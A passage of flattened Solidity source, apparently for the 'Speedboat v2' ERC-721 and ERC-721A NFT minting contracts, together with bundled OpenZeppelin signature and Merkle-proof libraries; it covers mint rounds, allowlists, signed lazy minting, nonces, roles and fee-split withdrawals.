* * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // File @openzeppelin/contracts/interfaces/[email protected] // OpenZeppelin Contracts v4.4.1 (interfaces/IERC1271.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC1271 standard signature validation method for * contracts as defined in https://eips.ethereum.org/EIPS/eip-1271[ERC-1271]. * * _Available since v4.1._ */ interface IERC1271 { /** * @dev Should return whether the signature provided is valid for the provided data * @param hash Hash of the data to be signed * @param signature Signature byte array associated with _data */ function isValidSignature(bytes32 hash, bytes memory signature) external view returns (bytes4 magicValue); } // File @openzeppelin/contracts/utils/cryptography/[email protected] // OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/SignatureChecker.sol) pragma solidity ^0.8.0; /** * @dev Signature verification helper that can be used instead of `ECDSA.recover` to seamlessly support both ECDSA * signatures from externally owned accounts (EOAs) as well as ERC1271 signatures from smart contract wallets like * Argent and Gnosis Safe. * * _Available since v4.1._ */ library SignatureChecker { /** * @dev Checks if a signature is valid for a given signer and data hash. If the signer is a smart contract, the * signature is validated against that smart contract using ERC1271, otherwise it's validated using `ECDSA.recover`. * * NOTE: Unlike ECDSA signatures, contract signatures are revocable, and the outcome of this function can thus * change through time. It could return true at block N and false at block N+1 (or the opposite). */ function isValidSignatureNow( address signer, bytes32 hash, bytes memory signature ) internal view returns (bool) { (address recovered, ECDSA.RecoverError error) = ECDSA.tryRecover(hash, signature); if (error == ECDSA.RecoverError.NoError && recovered == signer) { return true; } (bool success, bytes memory result) = signer.staticcall( abi.encodeWithSelector(IERC1271.isValidSignature.selector, hash, signature) ); return (success && result.length == 32 && abi.decode(result, (bytes4)) == IERC1271.isValidSignature.selector); } } // File @openzeppelin/contracts/utils/cryptography/[email protected] // OpenZeppelin Contracts (last updated v4.6.0) (utils/cryptography/MerkleProof.sol) pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. * * WARNING: You should avoid using leaf values that are 64 bytes long prior to * hashing, or use a hash function other than keccak256 for hashing leaves. * This is because the concatenation of a sorted pair of internal nodes in * the merkle tree could be reinterpreted as a leaf value. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev Returns the rebuilt hash obtained by traversing a Merkle tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = _efficientHash(computedHash, proofElement); } else { // Hash(current element of the proof + current computed hash) computedHash = _efficientHash(proofElement, computedHash); } } return computedHash; } function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) { assembly { mstore(0x00, a) mstore(0x20, b) value := keccak256(0x00, 0x40) } } } // File contracts/ISBMintable.sol // author: yoyoismee.eth -- it's opensource but also feel free to send me coffee/beer. // ╔═╗┌─┐┌─┐┌─┐┌┬┐┌┐ ┌─┐┌─┐┌┬┐┌─┐┌┬┐┬ ┬┌┬┐┬┌─┐ // ╚═╗├─┘├┤ ├┤ ││├┴┐│ │├─┤ │ └─┐ │ │ │ ││││ │ // ╚═╝┴ └─┘└─┘─┴┘└─┘└─┘┴ ┴ ┴o└─┘ ┴ └─┘─┴┘┴└─┘ pragma solidity 0.8.13; interface ISBMintable { function mintNext(address reciever, uint256 amount) external; function mintTarget(address reciever, uint256 target) external; } // File contracts/ISBRandomness.sol // author: yoyoismee.eth -- it's opensource but also feel free to send me coffee/beer. // ╔═╗┌─┐┌─┐┌─┐┌┬┐┌┐ ┌─┐┌─┐┌┬┐┌─┐┌┬┐┬ ┬┌┬┐┬┌─┐ // ╚═╗├─┘├┤ ├┤ ││├┴┐│ │├─┤ │ └─┐ │ │ │ ││││ │ // ╚═╝┴ └─┘└─┘─┴┘└─┘└─┘┴ ┴ ┴o└─┘ ┴ └─┘─┴┘┴└─┘ pragma solidity 0.8.13; interface ISBRandomness { function getRand(bytes32 seed) external returns (bytes32); } // File contracts/ISBShipable.sol // author: yoyoismee.eth -- it's opensource but also feel free to send me coffee/beer. // ╔═╗┌─┐┌─┐┌─┐┌┬┐┌┐ ┌─┐┌─┐┌┬┐┌─┐┌┬┐┬ ┬┌┬┐┬┌─┐ // ╚═╗├─┘├┤ ├┤ ││├┴┐│ │├─┤ │ └─┐ │ │ │ ││││ │ // ╚═╝┴ └─┘└─┘─┴┘└─┘└─┘┴ ┴ ┴o└─┘ ┴ └─┘─┴┘┴└─┘ pragma solidity 0.8.13; interface ISBShipable { function initialize( bytes calldata initArg, uint128 bip, address feeReceiver ) external; } // File contracts/SBII721.sol // author: yoyoismee.eth -- it's opensource but also feel free to send me coffee/beer. // ╔═╗┌─┐┌─┐┌─┐┌┬┐┌┐ ┌─┐┌─┐┌┬┐┌─┐┌┬┐┬ ┬┌┬┐┬┌─┐ // ╚═╗├─┘├┤ ├┤ ││├┴┐│ │├─┤ │ └─┐ │ │ │ ││││ │ // ╚═╝┴ └─┘└─┘─┴┘└─┘└─┘┴ ┴ ┴o└─┘ ┴ └─┘─┴┘┴└─┘ pragma solidity 0.8.13; // @dev speedboat v2 erc721 = SBII721 contract SBII721 is Initializable, ContextUpgradeable, ERC721Upgradeable, ERC721EnumerableUpgradeable, ReentrancyGuardUpgradeable, AccessControlEnumerableUpgradeable, ISBMintable, ISBShipable { using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet; using StringsUpgradeable for uint256; using SafeERC20 for IERC20; bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); string public constant MODEL = "SBII-721-test"; uint256 private lastID; struct Round { uint128 price; uint32 quota; uint16 amountPerUser; bool isActive; bool isPublic; bool isMerkleMode; // merkleMode will override price, amountPerUser, and TokenID if specify bool exist; address tokenAddress; // 0 for base asset } struct Conf { bool allowNFTUpdate; bool allowConfUpdate; bool allowContract; bool allowPrivilege; bool randomAccessMode; bool allowTarget; bool allowLazySell; uint64 maxSupply; } Conf public config; string[] roundNames; mapping(bytes32 => EnumerableSetUpgradeable.AddressSet) private walletList; mapping(bytes32 => bytes32) private merkleRoot; mapping(bytes32 => Round) private roundData; mapping(uint256 => bool) private nonceUsed; mapping(bytes32 => mapping(address => uint256)) mintedInRound; string private _baseTokenURI; address private feeReceiver; uint256 private bip; address public beneficiary; ISBRandomness public randomness; function listRole() external pure returns (string[] memory names, bytes32[] memory code) { names = new string[](2); code = new bytes32[](2); names[0] = "MINTER"; names[1] = "ADMIN"; code[0] = MINTER_ROLE; code[1] = DEFAULT_ADMIN_ROLE; } function grantRoles(bytes32 role, address[] calldata accounts) public { for (uint256 i = 0; i < accounts.length; i++) { super.grantRole(role, accounts[i]); } } function revokeRoles(bytes32 role, address[] calldata accounts) public { for (uint256 i = 0; i < accounts.length; i++) { super.revokeRole(role, accounts[i]); } } function setBeneficiary(address _beneficiary) public onlyRole(DEFAULT_ADMIN_ROLE) { require(beneficiary == address(0), "already set"); // require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "admin only"); beneficiary = _beneficiary; } function setMaxSupply(uint64 _maxSupply) public onlyRole(DEFAULT_ADMIN_ROLE) { require(config.maxSupply == 0, "already set"); // require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "admin only"); config.maxSupply = _maxSupply; } function listRoleWallet(bytes32 role) public view returns (address[] memory roleMembers) { uint256 count = getRoleMemberCount(role); roleMembers = new address[](count); for (uint256 i = 0; i < count; i++) { roleMembers[i] = getRoleMember(role, i); } } function listToken(address wallet) public view returns (uint256[] memory tokenList) { tokenList = new uint256[](balanceOf(wallet)); for (uint256 i = 0; i < balanceOf(wallet); i++) { tokenList[i] = tokenOfOwnerByIndex(wallet, i); } } function listRounds() public view returns (string[] memory) { return roundNames; } function roundInfo(string memory roundName) public view returns (Round memory) { return roundData[keccak256(abi.encodePacked(roundName))]; } function massMint(address[] calldata wallets, uint256[] calldata amount) public { require(config.allowPrivilege, "df"); require(hasRole(MINTER_ROLE, msg.sender), "require permission"); for (uint256 i = 0; i < wallets.length; i++) { _mintNext(wallets[i], amount[i]); } } function mintNext(address reciever, uint256 amount) public override { require(config.allowPrivilege, "df"); require(hasRole(MINTER_ROLE, msg.sender), "require permission"); _mintNext(reciever, amount); } function _mintNext(address reciever, uint256 amount) internal { if (config.maxSupply != 0) { require(totalSupply() + amount <= config.maxSupply); } if (!config.randomAccessMode) { for (uint256 i = 0; i < amount; i++) { _mint(reciever, lastID + 1 +i); } lastID += amount; } else { for (uint256 i = 0; i < amount; i++) { _mint(reciever, _random(msg.sender, i)); } } } function _random(address ad, uint256 num) internal returns (uint256) { return uint256(randomness.getRand(keccak256(abi.encodePacked(ad, num)))); } function updateURI(string memory newURI) public onlyRole(DEFAULT_ADMIN_ROLE) { // require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "admin only"); require(config.allowNFTUpdate, "not available"); _baseTokenURI = newURI; } function mintTarget(address reciever, uint256 target) public override { require(config.allowPrivilege, "df"); require(hasRole(MINTER_ROLE, msg.sender), "require permission"); _mintTarget(reciever, target); } function _mintTarget(address reciever, uint256 target) internal { require(config.allowTarget, "df"); require(config.randomAccessMode, "df"); if (config.maxSupply != 0) { require(totalSupply() + 1 <= config.maxSupply); } _mint(reciever, target); } function requestMint(Round storage thisRound, uint256 amount) internal { require(thisRound.isActive, "not active"); require(thisRound.quota >= amount, "out of stock"); if (!config.allowContract) { require(tx.origin == msg.sender, "not allow contract"); } thisRound.quota -= uint32(amount); } /// magic overload function mint(string memory roundName, uint256 amount) public payable nonReentrant { bytes32 key = keccak256(abi.encodePacked(roundName)); Round storage thisRound = roundData[key]; requestMint(thisRound, amount); // require(thisRound.isActive, "not active"); // require(thisRound.quota >= amount, "out of stock"); // if (!config.allowContract) { // require(tx.origin == msg.sender, "not allow contract"); // } // thisRound.quota -= uint32(amount); require(!thisRound.isMerkleMode, "wrong data"); if (!thisRound.isPublic) { require(walletList[key].contains(msg.sender)); require( mintedInRound[key][msg.sender] + amount <= thisRound.amountPerUser, "out of quota" ); mintedInRound[key][msg.sender] += amount; } else { require(amount <= thisRound.amountPerUser, "nope"); // public round can mint multiple time } paymentUtil.processPayment( thisRound.tokenAddress, thisRound.price * amount ); _mintNext(msg.sender, amount); } function mint( string memory roundName, address wallet, uint256 amount, uint256 tokenID, uint256 nonce, uint256 pricePerUnit, address denominatedAsset, bytes32[] memory proof ) public payable { bytes32 key = keccak256(abi.encodePacked(roundName)); Round storage thisRound = roundData[key]; requestMint(thisRound, amount); // require(thisRound.isActive, "not active"); // require(thisRound.quota >= amount, "out of quota"); // thisRound.quota -= uint32(amount); require(thisRound.isMerkleMode, "invalid"); bytes32 data = hash( wallet, amount, tokenID, nonce, pricePerUnit, denominatedAsset, address(this), block.chainid ); require(_merkleCheck(data, merkleRoot[key], proof), "fail merkle"); _useNonce(nonce); if (wallet != address(0)) { require(wallet == msg.sender, "nope"); } require(amount * tokenID == 0, "pick one"); // such a lazy check lol if (amount > 0) { paymentUtil.processPayment(denominatedAsset, pricePerUnit * amount); _mintNext(wallet, amount); } else { paymentUtil.processPayment(denominatedAsset, pricePerUnit); _mintTarget(wallet, tokenID); } } function mint( address wallet, uint256 amount, uint256 tokenID, uint256 nonce, uint256 pricePerUnit, address denominatedAsset, bytes memory signature ) public payable { bytes32 data = hash( wallet, amount, tokenID, nonce, pricePerUnit, denominatedAsset, address(this), block.chainid ); require(config.allowLazySell, "not available"); require(config.allowPrivilege, "not available"); require(_verifySig(data, signature)); _useNonce(nonce); if (wallet != address(0)) { require(wallet == msg.sender, "nope"); } require(amount * tokenID == 0, "pick one"); // such a lazy check lol if (amount > 0) { paymentUtil.processPayment(denominatedAsset, pricePerUnit * amount); _mintNext(wallet, amount); } else { paymentUtil.processPayment(denominatedAsset, pricePerUnit); _mintTarget(wallet, tokenID); } } /// magic overload end // this is 721 version. in 20 or 1155 will use the same format but different interpretation // wallet = 0 mean any // tokenID = 0 mean next // amount will overide tokenID // denominatedAsset = 0 mean chain token (e.g. eth) // chainID is to prevent replay attack function hash( address wallet, uint256 amount, uint256 tokenID, uint256 nonce, uint256 pricePerUnit, address denominatedAsset, address refPorject, uint256 chainID ) public pure returns (bytes32) { return keccak256( abi.encodePacked( wallet, amount, tokenID, nonce, pricePerUnit, denominatedAsset, refPorject, chainID ) ); } function _toSignedHash(bytes32 data) internal pure returns (bytes32) { return ECDSA.toEthSignedMessageHash(data); } function _verifySig(bytes32 data, bytes memory signature) public view returns (bool) { return hasRole(MINTER_ROLE, ECDSA.recover(_toSignedHash(data), signature)); } function _merkleCheck( bytes32 data, bytes32 root, bytes32[] memory merkleProof ) internal pure returns (bool) { return MerkleProof.verify(merkleProof, root, data); } /// ROUND function newRound( string memory roundName, uint128 _price, uint32 _quota, uint16 _amountPerUser, bool _isActive, bool _isPublic, bool _isMerkle, address _tokenAddress ) public onlyRole(DEFAULT_ADMIN_ROLE) { // require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "admin only"); bytes32 key = keccak256(abi.encodePacked(roundName)); require(!roundData[key].exist, "already exist"); roundNames.push(roundName); roundData[key] = Round({ price: _price, quota: _quota, amountPerUser: _amountPerUser, isActive: _isActive, isPublic: _isPublic, isMerkleMode: _isMerkle, tokenAddress: _tokenAddress, exist: true }); } function triggerRound(string memory roundName, bool _isActive) public onlyRole(DEFAULT_ADMIN_ROLE) { // require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "admin only"); bytes32 key = keccak256(abi.encodePacked(roundName)); roundData[key].isActive = _isActive; } function setMerkleRoot(string memory roundName, bytes32 root) public onlyRole(DEFAULT_ADMIN_ROLE) { // require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "admin only"); bytes32 key = keccak256(abi.encodePacked(roundName)); merkleRoot[key] = root; } function updateRound( string memory roundName, uint128 _price, uint32 _quota, uint16 _amountPerUser, bool _isPublic ) public onlyRole(DEFAULT_ADMIN_ROLE) { // require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "admin only"); bytes32 key = keccak256(abi.encodePacked(roundName)); roundData[key].price = _price; roundData[key].quota = _quota; roundData[key].amountPerUser = _amountPerUser; roundData[key].isPublic = _isPublic; } function addRoundWallet(string memory roundName, address[] memory wallets) public onlyRole(DEFAULT_ADMIN_ROLE) { // require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "admin only"); bytes32 key = keccak256(abi.encodePacked(roundName)); for (uint256 i = 0; i < wallets.length; i++) { walletList[key].add(wallets[i]); } } function removeRoundWallet( string memory roundName, address[] memory wallets ) public onlyRole(DEFAULT_ADMIN_ROLE) { // require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "admin only"); bytes32 key = keccak256(abi.encodePacked(roundName)); for (uint256 i = 0; i < wallets.length; i++) { walletList[key].remove(wallets[i]); } } function getRoundWallet(string memory roundName) public view returns (address[] memory) { return walletList[keccak256(abi.encodePacked(roundName))].values(); } function isQualify(address wallet, string memory roundName) public view returns (bool) { Round memory x = roundInfo(roundName); if (!x.isActive) { return false; } if (x.quota == 0) { return false; } bytes32 key = keccak256(abi.encodePacked(roundName)); if (!x.isPublic && !walletList[key].contains(wallet)) { return false; } if (mintedInRound[key][wallet] >= x.amountPerUser) { return false; } return true; } function listQualifiedRound(address wallet) public view returns (string[] memory) { string[] memory valid = new string[](roundNames.length); for (uint256 i = 0; i < roundNames.length; i++) { if (isQualify(wallet, roundNames[i])) { valid[i] = roundNames[i]; } } return valid; } function burnNonce(uint256[] calldata nonces) external onlyRole(DEFAULT_ADMIN_ROLE) { // require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "admin only"); require(config.allowPrivilege, "df"); for (uint256 i = 0; i < nonces.length; i++) { nonceUsed[nonces[i]] = true; } } function resetNonce(uint256[] calldata nonces) external onlyRole(DEFAULT_ADMIN_ROLE) { // require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "admin only"); require(config.allowPrivilege, "df"); for (uint256 i = 0; i < nonces.length; i++) { nonceUsed[nonces[i]] = false; } } function _useNonce(uint256 nonce) internal { require(!nonceUsed[nonce], "used"); nonceUsed[nonce] = true; } /// ROUND end /// function initialize( bytes calldata initArg, uint128 _bip, address _feeReceiver ) public initializer { feeReceiver = _feeReceiver; bip = _bip; ( string memory name, string memory symbol, string memory baseTokenURI, address owner, bool _allowNFTUpdate, bool _allowConfUpdate, bool _allowContract, bool _allowPrivilege, bool _randomAccessMode, bool _allowTarget, bool _allowLazySell ) = abi.decode( initArg, ( string, string, string, address, bool, bool, bool, bool, bool, bool, bool ) ); __721Init(name, symbol); _setupRole(DEFAULT_ADMIN_ROLE, owner); _setupRole(MINTER_ROLE, owner); _baseTokenURI = baseTokenURI; config = Conf({ allowNFTUpdate: _allowNFTUpdate, allowConfUpdate: _allowConfUpdate, allowContract: _allowContract, allowPrivilege: _allowPrivilege, randomAccessMode: _randomAccessMode, allowTarget: _allowTarget, allowLazySell: _allowLazySell, maxSupply: 0 }); } function updateConfig( bool _allowNFTUpdate, bool _allowConfUpdate, bool _allowContract, bool _allowPrivilege, bool _allowTarget, bool _allowLazySell ) public onlyRole(DEFAULT_ADMIN_ROLE) { require(config.allowConfUpdate); // require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "admin only"); config.allowNFTUpdate = _allowNFTUpdate; config.allowConfUpdate = _allowConfUpdate; config.allowContract = _allowContract; config.allowPrivilege = _allowPrivilege; config.allowTarget = _allowTarget; config.allowLazySell = _allowLazySell; } function withdraw(address tokenAddress) public nonReentrant { address reviver = beneficiary; if (beneficiary == address(0)) { require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "admin only"); reviver = msg.sender; } if (tokenAddress == address(0)) { payable(feeReceiver).transfer( (address(this).balance * bip) / 10000 ); payable(reviver).transfer(address(this).balance); } else { IERC20 token = IERC20(tokenAddress); token.safeTransfer( feeReceiver, (token.balanceOf(address(this)) * bip) / 10000 ); token.safeTransfer(reviver, token.balanceOf(address(this))); } } function setRandomness(address _randomness) public onlyRole(DEFAULT_ADMIN_ROLE) { // require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "admin only"); randomness = ISBRandomness(_randomness); } function contractURI() external view returns (string memory) { string memory baseURI = _baseURI(); return string(abi.encodePacked(baseURI, "contract_uri")); } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "nonexistent token"); string memory baseURI = _baseURI(); return string(abi.encodePacked(baseURI, "uri/", tokenId.toString())); } // @dev boring section ------------------- function __721Init(string memory name, string memory symbol) internal { __Context_init_unchained(); __ERC165_init_unchained(); __ReentrancyGuard_init_unchained(); __ERC721_init_unchained(name, symbol); __ERC721Enumerable_init_unchained(); __AccessControlEnumerable_init_unchained(); } function _baseURI() internal view virtual override returns (string memory) { return _baseTokenURI; } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override(ERC721Upgradeable, ERC721EnumerableUpgradeable) { super._beforeTokenTransfer(from, to, tokenId); } function supportsInterface(bytes4 interfaceId) public view virtual override( ERC721Upgradeable, ERC721EnumerableUpgradeable, AccessControlEnumerableUpgradeable ) returns (bool) { return super.supportsInterface(interfaceId); } } // File contracts/SBII721A.sol // author: yoyoismee.eth -- it's opensource but also feel free to send me coffee/beer. // ╔═╗┌─┐┌─┐┌─┐┌┬┐┌┐ ┌─┐┌─┐┌┬┐┌─┐┌┬┐┬ ┬┌┬┐┬┌─┐ // ╚═╗├─┘├┤ ├┤ ││├┴┐│ │├─┤ │ └─┐ │ │ │ ││││ │ // ╚═╝┴ └─┘└─┘─┴┘└─┘└─┘┴ ┴ ┴o└─┘ ┴ └─┘─┴┘┴└─┘ pragma solidity 0.8.13; // @dev speedboat v2 erc721A = modified SBII721A // @dev should treat this code as experimental. contract SBII721A is Initializable, ERC721ASBUpgradable, ReentrancyGuardUpgradeable, AccessControlEnumerableUpgradeable, ISBMintable, ISBShipable { using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet; using StringsUpgradeable for uint256; using SafeERC20 for IERC20; bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); string public constant MODEL = "SBII-721A-EARLYACCESS"; struct Round { uint128 price; uint32 quota; uint16 amountPerUser; bool isActive; bool isPublic; bool isMerkleMode; // merkleMode will override price, amountPerUser, and TokenID if specify bool exist; address tokenAddress; // 0 for base asset } struct Conf { bool allowNFTUpdate; bool allowConfUpdate; bool allowContract; bool allowPrivilege; bool randomAccessMode; bool allowTarget; bool allowLazySell; uint64 maxSupply; } Conf public config; string[] public roundNames; mapping(bytes32 => EnumerableSetUpgradeable.AddressSet) private walletList; mapping(bytes32 => bytes32) private merkleRoot; mapping(bytes32 => Round) private roundData; mapping(uint256 => bool) private nonceUsed; mapping(bytes32 => mapping(address => uint256)) mintedInRound; string private _baseTokenURI; address private feeReceiver; uint256 private bip; address public beneficiary; function listRole() public pure returns (string[] memory names, bytes32[] memory code) { names = new string[](2); code = new bytes32[](2); names[0] = "MINTER"; names[1] = "ADMIN"; code[0] = MINTER_ROLE; code[1] = DEFAULT_ADMIN_ROLE; } function grantRoles(bytes32 role, address[] calldata accounts) public { for (uint256 i = 0; i < accounts.length; i++) { super.grantRole(role, accounts[i]); } } function revokeRoles(bytes32 role, address[] calldata accounts) public { for (uint256 i = 0; i < accounts.length; i++) { super.revokeRole(role, accounts[i]); } } function setBeneficiary(address _beneficiary) public onlyRole(DEFAULT_ADMIN_ROLE) { require(beneficiary == address(0), "already set"); // require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "admin only"); beneficiary = _beneficiary; } // 0 = unlimited, can only set once. function setMaxSupply(uint64 _maxSupply) public onlyRole(DEFAULT_ADMIN_ROLE) { require(config.maxSupply == 0, "already set"); // require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "admin only"); config.maxSupply = _maxSupply; } function listRoleWallet(bytes32 role) public view returns (address[] memory roleMembers) { uint256 count = getRoleMemberCount(role); roleMembers = new address[](count); for (uint256 i = 0; i < count; i++) { roleMembers[i] = getRoleMember(role, i); } } function listToken(address wallet) public view returns (uint256[] memory tokenList) { return tokensOfOwner(wallet); } function listRounds() public view returns (string[] memory) { return roundNames; } function roundInfo(string memory roundName) public view returns (Round memory) { return roundData[keccak256(abi.encodePacked(roundName))]; } function massMint(address[] calldata wallets, uint256[] calldata amount) public { require(config.allowPrivilege, "disabled feature"); require(hasRole(MINTER_ROLE, msg.sender), "require permission"); for (uint256 i = 0; i < wallets.length; i++) { mintNext(wallets[i], amount[i]); } } function mintNext(address reciever, uint256 amount) public override { require(config.allowPrivilege, "disabled feature"); require(hasRole(MINTER_ROLE, msg.sender), "require permission"); _mintNext(reciever, amount); } function _mintNext(address reciever, uint256 amount) internal { if (config.maxSupply != 0) { require(totalSupply() + amount <= config.maxSupply); } _safeMint(reciever, amount); // 721A mint } function _random(address ad, uint256 num) internal returns (uint256) { revert("not supported by 721a la"); } function updateURI(string memory newURI) public onlyRole(DEFAULT_ADMIN_ROLE) { // require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "admin only"); require(config.allowNFTUpdate, "not available"); _baseTokenURI = newURI; } function mintTarget(address reciever, uint256 target) public override { revert("not supported by 721a la"); } function requestMint(Round storage thisRound, uint256 amount) internal { require(thisRound.isActive, "not active"); require(thisRound.quota >= amount, "out of stock"); if (!config.allowContract) { require(tx.origin == msg.sender, "not allow contract"); } thisRound.quota -= uint32(amount); } /// magic overload function mint(string memory roundName, uint256 amount) public payable nonReentrant { bytes32 key = keccak256(abi.encodePacked(roundName)); Round storage thisRound = roundData[key]; requestMint(thisRound, amount); // require(thisRound.isActive, "not active"); // require(thisRound.quota >= amount, "out of stock"); // if (!config.allowContract) { // require(tx.origin == msg.sender, "not allow contract"); // } // thisRound.quota -= uint32(amount); require(!thisRound.isMerkleMode, "wrong data"); if (!thisRound.isPublic) { require(walletList[key].contains(msg.sender)); require( mintedInRound[key][msg.sender] + amount <= thisRound.amountPerUser, "out of quota" ); mintedInRound[key][msg.sender] += amount; } else { require(amount <= thisRound.amountPerUser, "nope"); // public round can mint multiple time } paymentUtil.processPayment( thisRound.tokenAddress, thisRound.price * amount ); _mintNext(msg.sender, amount); } function mint( string memory roundName, address wallet, uint256 amount, uint256 tokenID, uint256 nonce, uint256 pricePerUnit, address denominatedAsset, bytes32[] memory proof ) public payable { bytes32 key = keccak256(abi.encodePacked(roundName)); Round storage thisRound = roundData[key]; requestMint(thisRound, amount); // require(thisRound.isActive, "not active"); // require(thisRound.quota >= amount, "out of quota"); // thisRound.quota -= uint32(amount); require(thisRound.isMerkleMode, "invalid"); bytes32 data = hash( wallet, amount, tokenID, nonce, pricePerUnit, denominatedAsset, address(this), block.chainid ); require(_merkleCheck(data, merkleRoot[key], proof), "fail merkle"); _useNonce(nonce); if (wallet != address(0)) { require(wallet == msg.sender, "nope"); } require(amount > 0, "pick one"); // such a lazy check lol require(tokenID == 0, "nope"); // such a lazy check lol paymentUtil.processPayment(denominatedAsset, pricePerUnit * amount); _mintNext(wallet, amount); } function mint( address wallet, uint256 amount, uint256 tokenID, uint256 nonce, uint256 pricePerUnit, address denominatedAsset, bytes memory signature ) public payable { bytes32 data = hash( wallet, amount, tokenID, nonce, pricePerUnit, denominatedAsset, address(this), block.chainid ); require(config.allowLazySell, "not available"); require(config.allowPrivilege, "not available"); require(_verifySig(data, signature)); _useNonce(nonce); if (wallet != address(0)) { require(wallet == msg.sender, "nope"); } require(amount > 0, "pick one"); // such a lazy check lol require(tokenID == 0, "nope"); // such a lazy check lol paymentUtil.processPayment(denominatedAsset, pricePerUnit * amount); _mintNext(wallet, amount); } /// magic overload end // this is 721 version. in 20 or 1155 will use the same format but different interpretation // wallet = 0 mean any // tokenID = 0 mean next // amount will overide tokenID // denominatedAsset = 0 mean chain token (e.g. eth) // chainID is to prevent replay attack function hash( address wallet, uint256 amount, uint256 tokenID, uint256 nonce, uint256 pricePerUnit, address denominatedAsset, address refPorject, uint256 chainID ) public pure returns (bytes32) { return keccak256( abi.encodePacked( wallet, amount, tokenID, nonce, pricePerUnit, denominatedAsset, refPorject, chainID ) ); } function _toSignedHash(bytes32 data) internal pure returns (bytes32) { return ECDSA.toEthSignedMessageHash(data); } function _verifySig(bytes32 data, bytes memory signature) public view returns (bool) { return hasRole(MINTER_ROLE, ECDSA.recover(_toSignedHash(data), signature)); } function _merkleCheck( bytes32 data, bytes32 root, bytes32[] memory merkleProof ) internal pure returns (bool) { return MerkleProof.verify(merkleProof, root, data); } /// ROUND function newRound( string memory roundName, uint128 _price, uint32 _quota, uint16 _amountPerUser, bool _isActive, bool _isPublic, bool _isMerkle, address _tokenAddress ) public onlyRole(DEFAULT_ADMIN_ROLE) { // require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "admin only"); bytes32 key = keccak256(abi.encodePacked(roundName)); require(!roundData[key].exist, "already exist"); roundNames.push(roundName); roundData[key] = Round({ price: _price, quota: _quota, amountPerUser: _amountPerUser, isActive: _isActive, isPublic: _isPublic, isMerkleMode: _isMerkle, tokenAddress: _tokenAddress, exist: true }); } function triggerRound(string memory roundName, bool _isActive) public onlyRole(DEFAULT_ADMIN_ROLE) { // require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "admin only"); bytes32 key = keccak256(abi.encodePacked(roundName)); roundData[key].isActive = _isActive; } function setMerkleRoot(string memory roundName, bytes32 root) public onlyRole(DEFAULT_ADMIN_ROLE) { // require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "admin only"); bytes32 key = keccak256(abi.encodePacked(roundName)); merkleRoot[key] = root; } function updateRound( string memory roundName, uint128 _price, uint32 _quota, uint16 _amountPerUser, bool _isPublic ) public onlyRole(DEFAULT_ADMIN_ROLE) { // require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "admin only"); bytes32 key = keccak256(abi.encodePacked(roundName)); roundData[key].price = _price; roundData[key].quota = _quota; roundData[key].amountPerUser = _amountPerUser; roundData[key].isPublic = _isPublic; } function addRoundWallet(string memory roundName, address[] memory wallets) public onlyRole(DEFAULT_ADMIN_ROLE) { // require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "admin only"); bytes32 key = keccak256(abi.encodePacked(roundName)); for (uint256 i = 0; i < wallets.length; i++) { walletList[key].add(wallets[i]); } } function removeRoundWallet( string memory roundName, address[] memory wallets ) public onlyRole(DEFAULT_ADMIN_ROLE) { // require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "admin only"); bytes32 key = keccak256(abi.encodePacked(roundName)); for (uint256 i = 0; i < wallets.length; i++) { walletList[key].remove(wallets[i]); } } function getRoundWallet(string memory roundName) public view returns (address[] memory) { return walletList[keccak256(abi.encodePacked(roundName))].values(); } function isQualify(address wallet, string memory roundName) public view returns (bool) { Round memory x = roundInfo(roundName); if (!x.isActive) { return false; } if (x.quota == 0) { return false; } bytes32 key = keccak256(abi.encodePacked(roundName)); if (!x.isPublic && 